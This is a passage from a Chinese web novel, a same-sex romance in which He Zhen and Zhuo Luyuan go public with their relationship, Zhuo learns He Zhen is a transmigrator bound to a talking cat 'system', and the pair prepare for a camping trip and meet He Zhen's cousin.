卓父差点忘了老贺是从国外回来的,没想到对方竟然会在这种关键时刻倒戈,一时不知道该说些什么好。贺母见状也闻声劝道:“我们两家相识这么多年,我相信阿真不会做出对不起小卓的事。如果阿真敢对不起小卓,我们第一个不答应。” 贺真看着卓鹭元隐忍的样子有些心疼,闻言马上表态:“我一定会对鹭元好的。如果伯父伯母不放心,我可以签协议。” 签什么协议呀! 卓鹭元对贺真使了个眼色,示意自己才不在意那些,让他别继续说了。但贺真这次很坚持,一方面是为了让卓父卓母放心,另一方面是想给卓鹭元多一层保障,想把最好的东西都给他。 这句话倒是令卓父有些意外。卓家如今能继续运转,很大一部分是依靠着贺家的注资,所以卓父说话时也少了几分底气。可贺真不仅提也不提这事,反而愿意许下承诺不让卓鹭元吃亏,这得多看重自己儿子? 卓母也有些动容,她和卓父的想法不同,她儿子在感情一事上从来都不太顺利,眼光高脾气还差,饶是她也想象不出以后他究竟会和什么样的人在一起。 可是从贺真和卓鹭元的态度中,卓母能看出卓鹭元绝对是栽进去了,连贺真也愿意拿自己的家产许下承诺,只为了让他们夫妻两个同意在一起这件事。 贺真也是商人,所以卓父卓母更加明白贺真的话意味着什么。看看贺真再看看企图偷偷阻止对方的卓鹭元,卓母还能说些什么呢? 卓父还在犹豫,站起身来只说自己还要再想想,拉着卓鹭元就想回家。 卓鹭元心里憋着气,出了贺家大门也没回家,头一扭往小区门口的方向跑走了,卓父喊他也当没听见。 贺真从二楼看到了卓鹭元跑走的身影,下楼拿起外套追了出去:“我有点事出去一趟。” 贺父也没拦,反正也拦不住,索性摆摆手任他去了,转头就和贺母吐槽:“你看看他这不稳重的样子,也不知道像了谁了,走这么急肯定是去追小卓了。” 贺母瞪他一眼:“想说什么就直说,儿子除了像你无非就是像我,拐弯抹角的。我倒是看小卓挺好,刚才阿真提起协议的时候,小卓还想阻止他。” 贺母也是跟贺父一起在国外打拼回来的人,两个人那点浅显的眉眼官司她哪能看不出来,小卓显然也对自己儿子上心得紧。 贺真追了出去,也不顾这是在小区里面,追上卓鹭元一把将人抱进怀里哄着:“生气了?” 卓鹭元马上扭头环顾四周,小声说:“贺真真你干什么,这里是外面,那么多人看着呢!” “怕什么,我们又没有见不得人。”贺真没有松手,反而将人抱得更紧了:“之前没公开是怕刺激到他们,我没有要把你藏起来的意思,我巴不得全世界都知道我们在一起,这样再也不会有不长眼的人来和我抢你。” 卓鹭元挣扎的动作忽然停下,不可思议地抬头看着贺真,他什么时候这么会说话了? 贺真见他不闹着要跑了,搂着人在额头上亲了一下:“我知道你在生气我刚才说签协议的事,但我是真心的,我想把最好的都给你,无论你需不需要,你值得最好的。” 卓鹭元消气了,心里暗暗欢喜,也不顾这还是在小区里面,主动亲了一下贺真:“你就这么喜欢我?” “不是喜欢。”贺真亲了回去,纠正道:“是爱你。” 卓鹭元有些招架不住嘴这么甜的贺真,看了眼看热闹的路人,拉着贺真往旁边走了几步,这才问他:“怎么回事,今天嘴这么甜?是不是偷吃什么好吃的甜品了?” 两个人藏在一棵树后,贺真毫不顾忌地吻了下去:“你尝尝?” 流氓! 卓鹭元心里没忍住骂了一句,手却很诚实地抱住了贺真,许久才分开。贺真伸手抹了一下自己的嘴唇,笑着说:“我怕我的嘴巴要是不甜一点,鹭元哥哥就真的跑了。” 前段时间在两个人相处过程中,他发现卓鹭元似乎很喜欢醉酒以后自己的状态。发现这点之后,贺真自己有意识地反思了一下自己,还特地问了茶茶到底有哪里不同,茶茶还是那句“你好.骚哦”,被贺真无情地赶去找001号玩。 但茶茶的话也不是全无道理,无非就是醉酒的贺真比以往更放得开一些,看来卓鹭元确实很喜欢。 两个人腻歪一阵后,贺真对卓鹭元提起了照片的事:“我爸前几天收到一个信封,里面有好多偷拍我们的照片,不出意外应该是卢俊城做的,目的就是为了离间我们,顺便找点麻烦。” “他怎么这么阴险!”卓鹭元气不过,他没想到这人都自身难保了,还这么阴魂不散的。 贺真让人打听了卢俊城的近况,可以说是水深火热了。现在看到卓鹭元这么生气,贺真问他:“想不想出口气?” “诶?可以吗?”卓鹭元又不是圣母,不可能在卢俊城想让他家破人亡之后还能放他一马。 “嗯,当然。”贺真打了个电话,把卢俊城约了出来,带着卓鹭元赶了过去。 卓鹭元和贺真先到一步,看到卢俊城如今的样子时心里也是暗暗一惊。卢俊城依旧穿着得体的西装,只不过卓鹭元看得出那已经是上一季的新品,瘦了一圈的卢俊城撑不起来,反倒和眼下的乌青一起平添几分憔悴。 撕下平和的假面后,卢俊城毫不掩饰自己的恶意,眼神在贺真和卓鹭元两人之间流转:“看来贺业明还没有收到我送的礼物。不过卓鹭元,你就这么相信你身边这个男人?他可是在国外待了那么多年,谁知道在国外交往过一些什么人,你还真是天真啊。” “你以为谁都和你一样?”卓鹭元冷笑一声,毫不客气地回击:“你还是先担心自己吧。来的路上我听阿真说了,看来私生子的日子不太好过。” 卢俊城脸上的表情十分精彩,像快速转变的红绿灯,最后定格在红色上,嗤笑一声:“私生子又怎么样?只要我有能力,卢家还是我的,那个家伙是真的又怎么样?不过是个被养废的绣花枕头罢了,卢家难道真指望一个当了这么多年私生子的废物掌管公司吗!” 贺真轻轻放下杯子,将卢俊城的视线吸引过去,缓缓开口:“你真有自己说得那么自信吗?卢家现在最不想看到的就是你这个鸠占鹊巢的假少爷,方家长房又忌惮你的能力怕你夺权。这个危险的天平如果平衡不好,等待你的是什么,不用我多说吧?” 贺真不经意地看了卓鹭元一眼:“看在鹭元的面子上,我给过你很多机会,但你似乎不这么想。所以我决定在这个危险的天平上加一点砝码,让你再也没有能力让鹭元心烦。” 不可能! 卢俊城发现贺真似乎并不害怕他和卓鹭元的事被父母发现,才知道自己的预估出了岔子:“贺业明竟然还让你和卓鹭元在一起?这怎么可能!” 卢俊城出事后,第一个离开他的是父亲母亲,紧接着就是和他爱情长跑许多年,从未吵过架的未婚妻,他几乎在一夜间众叛亲离,不得不走上卓鹭元的老路,“纡尊降贵”去讨好以前不屑与之交谈的人。 卓鹭元不知道上次贺真和卢俊城谈了些什么,但不妨碍他觉得现在的贺真很帅,这是他的男朋友! “我不是在和你商量。”贺真一锤定音:“今天早上我让人给了真正的卢家少爷一点小小的助力,你猜怎么样?” 贺真不疾不徐地撕开卢俊城最后一点遮羞布:“卢伯父和卢伯母说之前打压卓家的事是你擅作主张,他们并不知情,在我助理面前承认了卢家少爷的身份。卢俊城,你已经没有价值了。” 卢俊城脸色惨白,半晌才屈辱地低下头:“说出你的条件,你到底要怎么样才肯放过我?” 贺真却摇头:“当初鹭元出事的时候,你明知他不能喝酒,明知别人觊觎他,为什么不阻止?你放过他了吗?尤其是这一次我帮了鹭元,你还想从我父亲那边出手挑拨。” “卢俊城,你没有和我讨价还价的资格。” 第63章 第 63 章 “我没想到他会变成…… “我没想到他会变成这样。” 卓鹭元有些唏嘘, 他以前很相信自己看人的眼光,可是卢俊城的事让他对自己的眼光不自信了, 直到和贺真在一起才好一点。 贺真把卓鹭元带回了前几天住的地方,卓鹭元像回到自己家一样,一进门就腻在贺真旁边:“你说爸妈会同意我们在一起吗?” 贺真觉得应该没问题,但还是故作伤心地看着卓鹭元:“要是伯父伯母不同意,鹭元哥哥是不是就要和我分开了,好伤心啊。” 卓鹭元上手捏住贺真的脸, 像动画片里的一样捏着他的脸往两边轻轻拉了拉:“贺真真,你别以为我看不出来你是故意的!你的人都是我的了,敢跑我就把你的钱全花了!” “那我再给鹭元哥哥挣回来。”贺真任他捏够了脸, 搂着卓鹭元的手有些不老实:“要是伯父伯母真不同意, 那我就只能和鹭元哥哥暗度陈仓了, 要不我们先练习一下?” 卓鹭元有些心猿意马,两个人就要亲在一起的时候,两个人的手机却前后脚响了起来。卓鹭元不耐地低声骂了一句,谁这么不解风情,偏偏在这个时候来电话? 贺真看了一眼电话,强行压下内心的燥热, 给卓鹭元看了来电,是他父亲打来的,多半是有正事。 卓鹭元也只好略微整理了一下衣服,稍微离贺真远了一些才接起电话:“爸,我不是才出来一会儿吗,什么事啊?” “你还有脸说!你现在打开手机,看热搜!”卓父的声音很着急,卓鹭元不明所以地切出屏幕打开热搜, 第一条居然是他和贺真的事被曝光了,怪不得卓父这么着急。 “是卢俊城干的。”卓鹭元前脚才见过他,后脚这些就被他曝光,他就这么想让自己身败名裂吗? 贺真那边,贺父显然也在和贺真说相同的事,卓鹭元看到他也拿出手机看了一眼,然后继续和贺父说着什么。 卓父也没指望卓鹭元这个刚知道的能做些什么,转头挂了电话和贺父去联系了,眼下他们必须快速做出回应,容不得他犹豫了。贺真挂了电话,凑到有些担忧地卓鹭元旁边亲了一口:“别这么担心,说不定是件好事。” “这个时候了你还亲我。”卓鹭元揉了揉脸,不知道他爸到底会怎么做。贺真其实是想借机公开,不仅能化解眼前的舆论压力,还能顺理成章和卓鹭元秀秀恩爱,顺便在众人面前给卓鹭元盖个戳,宣布一下名草有主。 卓父和贺父这通电话的时间很长,中途贺真打了两个电话都没打进去。虽然贺真不太怀疑最后的结果,但他也想获得双方父母的祝福,所以也不免有些忐忑。 两个人也没了胡闹的心情,不知等了多久,卓鹭元的电话突然响了,是卓父的来电,卓鹭元急忙接起来:“爸,怎么样了。” 卓父有些疲惫:“你们两个的事我同意了。现在你们两个发个声明,就说你们是认真交往,两家官方号会转发的。” “真的吗!”卓鹭元喜出望外,嘴甜得不行:“我就知道爸你对我最好了,我这就回去给你捏腰捶腿,老爸我爱你!” 卓父心情复杂地挂断电话,这种待遇平时在家也只有卓母才有,见色忘爹的臭小子!卓父臭着脸给助理打电话,告诉他让他即时关注卓鹭元的动态,有消息及时转发。 卓鹭元坐在床上想了半天,最后还是拿不定主意:“你说我们选个怎么样的官宣方式好呢?” 卓鹭元没什么想法,普通的他不太喜欢,可是太高调似乎又怪怪的,只好询问贺真的意见。贺真也不知道,两个人面面相觑,卓鹭元只能自己想办法。 他想得认真,视线在贺真身上转了一圈,忽然落在贺真的手上,不自觉地把自己的手放上去比了比大小,心里忽然有了想法:“我有想法了,快把你手机拿出来!” 那边卓父和贺父还在等消息,贺真和卓鹭元的个人号却突然刷出两条新信息,两家公司官方号的运营突然一个激灵,忙不迭转发最新的信息。 几乎是同一时间,贺真和卓鹭元的朋友们,包括躲在暗处等待的卢俊城都看到了贺真和卓鹭元发出的消息。 卓鹭元那边是一双交握的手,上面的手稍小一些,正握住压在下面的另一只手,配了文字:大手牵小手。 贺真那边的图片则正好反了过来,配的字则是:走路不怕滑。 盛俊文一看到就笑了出来,他早知道这两个人不按常理出牌,没想到连官宣都这么别出心裁,这下卢俊城看到得气死了吧。 卓鹭元发出去之后简直觉得自己是个天才,喜滋滋地拿着手机给贺真看:“你看好多人给我们留言,还说我俩肯定是真的!废话,我男朋友能是假的吗?” 贺真和卓鹭元底下的留言多半都是祝福,还有突然发觉真相的网友,说怪不得贺真要给卓鹭元注资,原来两个人早就在一起了! 卓鹭元玩着手机,茶茶也八卦地跳到贺真旁边看他的手机里网友的留言,看得津津有味,忍不住晃了晃尾巴。 贺真任由茶茶看着,冷不丁听到卓鹭元头也不抬地问自己:“对了,上次忘了问你,你这只猫是什么时候养的,毛色还挺好看。” 贺真猛地抬头,下意识看了一眼茶茶,一人一猫清楚地从对方的眼神中看到了震惊。 贺真没想到卓鹭元能看到茶茶,下意识问他:“你能看到它?” 卓鹭元本来只是好奇,听到贺真莫名其妙的话茫然地抬起头:“我…不该看到吗?” 卓鹭元不知道想到哪里去了,看着茶茶的眼神越来越惊恐,忽然把手机一扔藏到贺真背后,只露出一点眼睛警惕地看着茶茶:“这该不会是鬼吧?!贺真真你可要保护我!” 茶茶本来在装假猫,听到卓鹭元的话没忍住开口:“茶茶才不是鬼呢!” “猫鬼说话了!” 贺真费了好大劲解释,还把茶茶拎起来反复给卓鹭元验证,这才让卓鹭元相信茶茶是一个高科技系统,而不是什么猫鬼。茶茶气愤地踩了踩爪子,转过身去用屁.股对着卓鹭元表示自己的不满。 卓鹭元还在恍惚中,不可置信地指着贺真说:“所以说我是一本书里的人,你出了车祸后被这个绿茶女配系统绑定,所以才接近我?” 卓鹭元忽然一把推开贺真,双眼通红地朝他吼道:“你骗我,你和我在一起只是为了做任务!” “我没有。”贺真想去牵卓鹭元的手,卓鹭元却甩开他的手不让他碰。贺真喉头发涩,看卓鹭元这样自己的心也跟着揪了起来。 茶茶看不过眼,转身对卓鹭元说:“才不是呢!宿主本来只当个绿茶女配就好了,还不是宿主喜欢你才一直不走,差点连自己都搭进去了。茶茶为了帮宿主,差点连积分都没有了,茶茶才不喜欢你。” 卓鹭元本来还在贺真欺骗了自己的震怒中,骤然听到茶茶说贺真为了帮自己差点连自己都搭进去,一时也顾不得生气,拽过贺真紧张得上下打量:“怎么回事?!” 茶茶委委屈屈地说:“主系统本来才不让宿主帮你的忙呢,还不是宿主……” “我没事,你看我这不是好好的?”贺真打断茶茶的话,但卓鹭元依然从茶茶的话里听出来些什么,贺真一定为了帮他付出了不小的代价。 卓鹭元顾不得生气,抱住贺真把头闷在他的怀里:“我都不知道。” 贺真有些心疼,他不想让卓鹭元知道这些就是不想让对方愧疚。不过既然他已经知道了,那他就不隐瞒了:“我怕你担心,所以没说。而且这件事说出来,估计别人也不会信。不过那些都过去了,我们两个现在不是好好的?” 那能一样吗! 卓鹭元抬起头看他:“那你原来那个世界呢,你真的不回去了吗?”万一贺真哪天改变心意回去了,那自己怎么办呢? 贺真摇摇头:“不回去了。我父亲癌症去世,母亲有了新家庭,很多年没有联系了。”说着贺真捏了捏卓鹭元的脸,故意开玩笑:“鹭元哥哥不会真的不要我了吧?那我在那边的行情其实也还……” “想都别想!”卓鹭元一下恢复了以往的样子,他都官宣了,不允许任何人撬他的墙角! 贺真松了一口气,这件事算是翻篇了。贺真凑近卓鹭元的耳边,小声告诉他茶茶为了帮忙耗光能量休眠的事,卓鹭元心里有些愧疚,是他错怪茶茶了,这是一只好猫。 卓鹭元在贺真鼓励的眼神中清了清嗓子,试探性伸手去摸茶茶蓬松的大尾巴,被茶茶灵活地躲开。卓鹭元故作不经意地说:“之前光顾着生气了,没发现这猫居然长得挺可爱的。” 茶茶闹脾气的身影一顿,不动声色地动了动耳朵,卓鹭元发现有希望,继续说道:“这个毛色也很好,摸上去一定很舒服。茶茶,听说你之前帮了我,你真是世界上最好的系统,谢谢你。” 茶茶僵硬地转过身体,骄傲地抬起下巴:“不、不愧是主角,眼光真好!那、那茶茶也勉强喜欢你。” 卓鹭元重新向茶茶伸出手想撸猫,茶茶伸出前爪和卓鹭元的手碰了碰,然后迅速毫无形象地翻出肚皮给卓鹭元,卓鹭元也毫不客气地伸手开摸,果然和想象中的一样好摸。 这可是它第一次体会到在人类面前当猫主子的待遇,好爽! 第64章 第 64 章 卓鹭元最近很是心疼…… 卓鹭元最近很是心疼贺真, 但是当贺真缠着他还要来第三回的时候,卓鹭元心里最后那点愧疚也跟着烟消云散, 卷起被子把自己包成一个蚕蛹,往旁边使劲蛄蛹:“贺真真你自己玩去吧,我要睡觉了!” 贺真望着无从下手的蚕宝宝卓鹭元,只好遗憾地放弃,伸手敲了敲卓鹭元的被子:“没有被子了,有好心人能收留一下吗?” 卓鹭元探了个脑袋冷笑一声:“你的房子还能没被子?别想骗我。” 贺真见骗不过卓鹭元, 只好叹了口气从柜子里抱了一床小被子出来,可可怜怜地睡在另一边。过了一会卓鹭元偷偷翻了个身,看见贺真一米九二的大高个, 身上盖着短了一截的被子, 还是悄悄掀起被子往他那边盖了一半, 下一秒就被人抱进怀里。 上当了! 贺真不等卓鹭元挣扎,马上哄道:“我就睡觉,什么也不做。”卓鹭元挣扎了两下,见贺真似乎真的没有要做什么的意思,也就随他抱着了,不一会就睡着了。 自从官宣之后, 卓鹭元也不掩饰了,当着爸妈的面也大大方方地说自己要去找贺真。贺真在家的时间则更少,两个人除了去公司处理一些必要事务之外,几乎把淮市和周边近一些的地方玩了个遍。 连原本和朋友们说好,接过又被卓鹭元鸽掉的露营也重新提上日程,为此不得不硬着头皮接受他们的批判,第一个就是盛俊文。 盛俊文毫不客气地批判了贺真和卓鹭元见色忘友的行为,语音一条接一条:“你们俩可不厚道啊, 哥们上次怕出发太晚堵在路上,大早上开着车就上山了,差点没把我冻成狗。你们俩倒好,说不来就不来了。” 也是盛俊文运气不好,出发的那天原本天气预报写着晴,他到了没多久山上就下雨了。本来他还抱着点希望,但群里其他人一听贺真和卓鹭元不去,山上又下着雨,一个二个和葫芦娃救爷爷一样都说不去了,给盛俊文气得半死,回来之后直接线下对几个没良心的进行了真人快打。 贺真和卓鹭元自知理亏,贺真率先开口:“我们错了,我们这次一定去,露营需要的东西我们来准备,到时候再开一辆房车,保证大家玩好。” 卓鹭元也不好意思地在群里发了个红包,对盛俊文说:“那不是意外情况嘛,抱歉抱歉。我保证,这次上山露营我来烤肉,你负责吃就好了。” “你会烤肉吗?我不相信你。”卓鹭元这家伙自打出生以来,盛俊文就没见他下过厨,才不敢吃他的烤肉。 卓鹭元不爽地回复:“不相信就把红包还回来。” “什么红包?那是我的精神损失费。”盛俊文干脆利落地收下红包,群里没说话的几个人也悄悄冒了头,领完红包之后加入了讨论,贺真边看他们聊天边记下到时候要买什么。 卓鹭元在那边抱着手机聊得起劲,贺真整理好备忘录之后问卓鹭元:“他们想带的东西有点多,我们去采购吧?” 这倒是个不错的主意。 卓鹭元歪头看了一眼贺真的手机,从露营食材到帐篷,不知道谁连花露水都提出来了,五花八门什么都有。卓鹭元想了想对贺真说:“要不去那家商场?就是你送我袖扣的那家,我们也去故地重游一下。” 贺真点头:“好,到时候看看有没有什么新品。” 两个人商量好之后,贺真就去开车,载上卓鹭元之后朝着商场过去。 卓鹭元走在贺真前面,回想起自己第一次陪贺真逛商场的情景,没忍住笑了出来:“你当时非要我陪你逛商场,也是因为那个任务吗?” 贺真点点头:“是啊,我在很努力地扮演了。”就是尺度把握地不太好,卓鹭元当初差点都想躲他了。 两个人走在商场里,卓鹭元忽然看到不远处似乎有两道熟悉的身影,对方看到卓鹭元似乎想跑,被卓鹭元叫住了:“郑曦?” 郑曦停住脚步,有些不自然地看着卓鹭元:“是你啊,好巧。” 卓鹭元觉得今天的郑曦很奇怪,以往郑曦见到自己的时候都非常热情有活力,今天不仅蔫巴巴的,看起来似乎还很心虚。卓鹭元心里有些奇怪:“你怎么了,最近也没怎么看到你。” 郑曦低着头,看着垂头丧气的:“我只是觉得自己帮不上鹭元哥哥,所以不好意思去见你。”卓鹭元出事她什么忙也没帮上,她哪还好意思继续说喜欢他。 郑曦无精打采地看着贺真,和他道喜:“我看到你们在一起的消息了,恭喜。” 今天郑曦是和祁琼音一起来的,最近祁琼音看到郑曦心情太差,主动提出要陪她出来逛逛,她也没想到就这么正好碰到了贺真和卓鹭元。 祁琼音看向卓鹭元,压下心中的苦涩,她本来是想说动师兄们把专利卖给卓鹭元的,但师兄们心中有顾虑,加上祁琼音和卓鹭元的关系又不像原剧情那样,所以她失败了。 可是祁琼音对卓鹭元喜欢上一个男人的事很介怀,没忍住当着卓鹭元的面问了出来:“可是你们两个都是男人,怎么能在一起呢?” 她想过卓鹭元可能会喜欢上其他女生,但她没想过自己会输给一个男人。 卓鹭元没想明白祁琼音喜欢自己什么,但是看郑曦也看向自己,卓鹭元还是解释了一下:“这和性别无关。我看见贺真的时候会开心,会忐忑,会心跳加速,这是我遇到别人的时候没有过的事。” 卓鹭元看向贺真,继续说道:“我确认他和我是一样的想法。你们都是很好的人,所以我希望你们都能找到自己真正喜欢的人,这是真心话。” 郑曦悄悄抬起头,眼眶里盛着泪水:“真的吗,鹭元哥哥你真的不怪我?” 卓鹭元笑了:“我怪你什么呀,你肯为我去说动你哥哥替我担保,我感谢你还来不及呢。前段日子我和阿真商量过了,想看看之后能不能有机会和你家合作。” 贺真上前搂住卓鹭元的肩膀对二人说:“郑煦是个不错的合作对象,我很期待未来有机会合作的那一天。” 郑曦的心情好了许多,看卓鹭元的眼神也不再躲闪,反而羞涩地冲对方笑了一下:“前面是我想岔了。不过其实我也放弃追鹭元哥哥了,死绿茶你要是敢对鹭元哥哥不好我一定不会放过你,我会把他抢回来的!” 卓鹭元失笑,但又有些好奇:“所以你为什么突然放弃了,该不会是被阿真的人格魅力打动了吧?” 郑曦打了个冷颤,连忙摆手:“怎么可能?!我是发现每次。鹭元哥哥虽然嘴上不说,但是每次见到他的时候似乎都非常开心。在他出现之前,你从来没有那么看过一个人,所以我就放弃了。” 祁琼音有些错愕地转头看向郑曦,她的脾气比自己还横冲直撞,可是眼下这番话却暴露了她细腻的心思,这让祁琼音有些意外。她知道郑曦喜欢卓鹭元,却没想到她是真的将卓鹭元所有情绪看在眼底之后,还能选择潇洒退出。 贺真和卓鹭元两人离开之后,郑曦强撑的潇洒泄了气,忽然转身用力揉着眼睛,还不许祁琼音看她:“你不许看我,是我眼睛里进了沙子而已!” 祁琼音从背后拍了拍她的后背,轻声安慰:“曦曦,你刚才那样好有魅力。” 郑曦一米五出头,几乎没人夸过她有魅力,连她那个亲哥郑煦也不例外,所以郑曦第一反应就是祁琼音骗她:“你骗人,从来没人夸过我有魅力,我身材又没那么好,长相也不是最漂亮的。” 祁琼音却摇了摇头,自己心里的最后一点不知从何而来的惆怅也散去了:“才不是这样的呢。就比如刚才,其实我很气不过自己不是输给其他人,而是输给性别,因为这个是很难改变的事,最后想通也是因为卓总的一番话。可是曦曦,你和我不一样。” 郑曦扭头,红着眼眶看着祁琼音:“哪里不一样?” 祁琼音从包里打开一包抽纸,在郑曦略微嫌弃的眼神中给她擦眼泪:“你放弃不是因为觉得贺真是个男人,而是因为你发现卓总和对方在一起会很开心,而且贺真本身也是个很好的人。曦曦,我没有你坦荡,也没有你那样拿得起放得下,所以我才说你很有魅力。” 郑曦想了想,似乎好像确实如此。刚才她告诉鹭元哥哥自己放弃之后,祁琼音的样子是有些像还没放下。郑曦心里得到了点安慰,她好像也没有那么差嘛! 郑曦皱眉看了一眼祁琼音包里几块钱一包的纸巾,拉着她的手准备大买特买:“既然如此,那你一定要陪我逛街,只有花钱才能抚慰我心里的伤口。” 祁琼音没想到郑曦的情绪恢复地那么快,还试图拒绝对方:“可是我还要上班……” “哎呀,我去和鹭元哥哥说,你那点工资够做什么的。”郑曦说完发现祁琼音脸色不太好,又拽着她的手臂晃了晃:“我都难受得哭了,在你心里还没有这一天班重要吗?你就陪我去吧!” 祁琼音拗不过郑曦,只好掏出手机给领导请假,然后被郑曦拽着扎进了商场。 她早就发现了,郑曦对别人表示好感的方式十分简单粗暴,那就是疯狂地送对方自己也喜欢的东西,比如好看的衣服和昂贵的首饰。有时虽然她嘴上嫌弃祁琼音太穷,说话间也不注意,可却从来没有嘲笑过她,反而偷偷在背后帮了她不少,比如她母亲现在住的疗养院,现在已经正式回归贺家旗下了。 祁琼音掩去嘴边那点无奈,却藏不住心中的开心,虽然行为上别扭了一些,但郑曦这是把她当好朋友呢。 第65章 第 65 章 贺真和卓鹭元买好了…… 贺真和卓鹭元买好了露营需要的东西, 卓鹭元看着自己和贺真新买的几个帐篷,嘴里嘟囔着:“怎么连帐篷都要买?我记得盛俊文家里不是有吗?” 贺真看着说明书试着装帐篷, 免得到时候手忙脚乱,忙里偷闲地回答:“你忘了?上次盛俊文开车上山,没想到突然下雨,帐篷也跟着泡了水,回去就被他丢在一边了,现在给你估计你也不愿意进去睡。” 那倒也是, 卓鹭元也不纠结,随意拿起两个部件问贺真:“这个装哪儿?” 贺真看了一眼,把说明书翻开, 指着其中一处说:“这里。我这个再有一会儿就装好了, 你想玩的话我把那边的拿过来给你, 我还没有打开。” 卓鹭元摇摇头,他看贺真装一个就够麻烦了:“还是算了,看着就累。对了,你今天不是休息,怎么起来还换了一身衣服?” 平时他和贺真在家时,对方基本都是家居服, 今天怎么还特地穿了一身休闲装,奇怪。 贺真力气大,动手能力也强,看着客厅里基本成型的帐篷对卓鹭元说:“你钻进去试试?” 卓鹭元玩心大起,钻进贺真搭好的帐篷里去玩,明明是住习惯了的屋子,这会钻进来反倒有种偷偷摸摸的奇怪感觉,像在别人家一样。 卓鹭元伸手拉贺真进来:“你也进来试试?我怎么感觉搭在家里也挺好玩的, 你快来。” 贺真买的帐篷大小都有,这会儿搭的是大一些的。他听到卓鹭元的话也跟着钻进去感受了一下,虽然没觉得有哪里不一样,但看到卓鹭元期待的眼神,还是点了点头:“确实有些不一样。你躺下试试?” 卓鹭元在帐篷里躺下,贺真也躺在他旁边,伸手握住了他的手。 贺真还挺喜欢这种宁静的感觉,望着帐篷的顶对卓鹭元说:“以后可以在屋顶也放一个帐篷,把帐篷的顶打开,这样夏天就可以躺在帐篷里看星星了。” 卓鹭元想象了一下那个画面,觉得还缺了点什么:“感觉还缺点什么。对了,到时候我们可以带两瓶酒上去,应该会很浪漫。” 茶茶路过客厅,刚好听到贺真和卓鹭元在帐篷里聊天,快步走过来挤进帐篷:“当然是少了茶茶啦!” “茶茶!” 卓鹭元伸手把茶茶抱过来,手法熟练地撸了撸猫,茶茶舒服地晃了晃尾巴,在贺真威胁的眼神下,识相地起身窝在了卓鹭元头顶,小气宿主。 卓鹭元不知想到什么,忽然笑出声来,翻身侧身看着贺真:“你有没有觉得我们现在这样很像一家三口?” 贺真嫌弃地看了一眼茶茶:“没有。”自从上次茶茶踹了001号一脚之后,那个小智障就出了问题返厂维修,也算帮了贺真一个大忙。现在茶茶胆子大了,甚至还敢开他的玩笑,还和他抢卓鹭元的注意力,他才不要呢。 茶茶又往卓鹭元这边缩了缩,不甘示弱地抬起下巴:“茶茶也没有!” “行了行了,你们两个连脾气都这么像。”卓鹭元先是凑到贺真旁边亲了一口,又伸手在茶茶下巴上挠了一把,这才重新翻身看着帐篷:“可是我很喜欢和你们一直在一起才这么问的,还以为你们两个和我也是一样的想法呢。” 贺真马上改口:“我当然和你的想法一样了,我当然要和你一直在一起。” 茶茶有些低落,小声说:“其实茶茶也很喜欢,但是茶茶应该不行……”它是系统,系统有系统的使命,注定不能一直陪着某个宿主。 卓鹭元本来还想再说些什么,但看到茶茶低落的样子,还是把其他话咽了回去:“能认识茶茶我就很开心了,以后相处的每一天都是赚来的,所以茶茶你也一定要开心。” “不说这个了,你还没回答我你这是要去哪?”卓鹭元话风一转,问贺真刚才那个他没有回答的问题。 贺真抬起手看了一眼手表,时间差不多该出门了:“去见我堂哥。” “贺彦?”卓鹭元下意识问到,心里对贺彦颇为不喜,但话刚说出口又觉得不对劲,贺真怎么会去见贺彦? 贺真却摇头:“不是他,是我那个被换了的真堂哥,叶院长的儿子叶云柏。” 卓鹭元不太放心,虽然他从贺真口中的描述觉得叶家父子应该是个不错的人,但他到底没有接触过,加上两起换孩子的事情都是在同一家疗养院发生的,他怕叶家父子和卢俊城一样另有所图。 卓鹭元拉住贺真,有些执拗地说:“要不你别去了,或者带上我,要是有什么事我们两个人还能商量一下。” 贺真原本想拒绝,但他上次和卓鹭元坦白所有事之后,他就答应卓鹭元不会隐瞒他,所以顺着卓鹭元的意思点了头:“那你去换衣服,我等你。” “好,等我一下。”卓鹭元钻出帐篷,跑回楼上换衣服了。 贺真也出了帐篷,站起身来整理了一下自己的衣服,把茶茶从地上抱了起来:“你是快走了吗?” 茶茶无力地点点头:“嗯,已经进入结算期了。宿主因为升格为主角的原因,所有积分需要重新从头计算,所以结算周期会比普通任务宿主的时间要长一些。” 但这个时间也长不了多久,任务结束后茶茶也是托了结算期的福才能留在宿主身边,还被主角发现了,不然按正常进度现在两个人应该都已经离开这个世界了。 贺真没多说什么,问他:“我选择留在这个世界,那我的积分会怎么处理?” 任务还没结算完,目前茶茶看不到宿主的积分,只好说:“原本宿主可以花费积分选择回到原世界,但宿主选择留下,那积分就还在宿主账户上,只是没有任务的话系统商场会对宿主关闭权限,宿主也买不了东西,所以通俗一点来说就是对宿主没什么用了。” 贺真想了想问茶茶:“那我把积分转赠给你呢,可以吗?”说完贺真又补充了一句:“全部。” 贺真在茶茶惊愕的眼神中笑了一下:“高兴傻了?你帮了我这么多,我说一句不想和你在一起你还真信了。这个决定是我准备留在这个世界时就做好的,我已经拥有了最珍贵的东西,所以也准备把对系统而言珍贵的东西送给你。一直以来辛苦你了,茶茶。” 茶茶瞪着圆溜溜的眼睛没说话,贺真眼看着下一秒它就要尖叫出声,眼疾手快地捂住它的嘴巴:“小声点,别让鹭元听到了。无论你以后去哪里,记得学聪明一点,别被其他宿主欺负了。还有,别再傻乎乎地给别的宿主补道具差价了。” 茶茶呆住了,伸爪狠狠拍了一下自己的头,居然不是做梦!宿主居然真的对它这么好! 贺真无奈地摇摇头,这孩子是真傻。 卓鹭元换好衣服下楼,没听到茶茶刚才和贺真说了什么,整理了一下衣服问贺真:“我准备好了,你和他约在哪里?” 贺真替他把翘起的头发压下去,一把将茶茶捞起来塞进他怀里:“茶室,那边安静一些。” 贺真和卓鹭元先到一些,卓鹭元之前没见过叶云柏,所以当叶云柏进来的时候,对方确实和自己想象中的的差不多,温文尔雅的长相和贺继明很不一样,脸上戴着一副眼镜,看起来倒是很好相处。 叶云柏进来之后看到卓鹭元也在时似乎有些惊讶,随即礼貌地向对方点头问好。既然贺真是和卓鹭元一起来的,就代表对方并不介意他们的对话让卓鹭元知道,看来他们的关系确实很不错,并不像某些人猜测的那样是商业联姻。 叶云柏今天是带着善意来的,和两人打了招呼之后叶云柏就表明了自己的来意:“我这次来是为了疗养院的事。我父亲在疗养院工作了许多年,这次事件之后他明显憔悴了许多,最近正在考虑卸任。贺真,我想请你给我父亲一个机会,让他继续在疗养院当院长。” 似乎是怕贺真不答应,叶云柏接着说:“我父亲再有几年就退休了,我看得出他对这家疗养院有感情。对于疗养院管理疏忽的事他很抱歉,可我不想看他继续这样,我只想让他职业生涯的最后几年能够顺利结束。如果你答应的话,我可以去国外,并且承诺你永远不再回来,贺家我也从来没有想过要回去。” 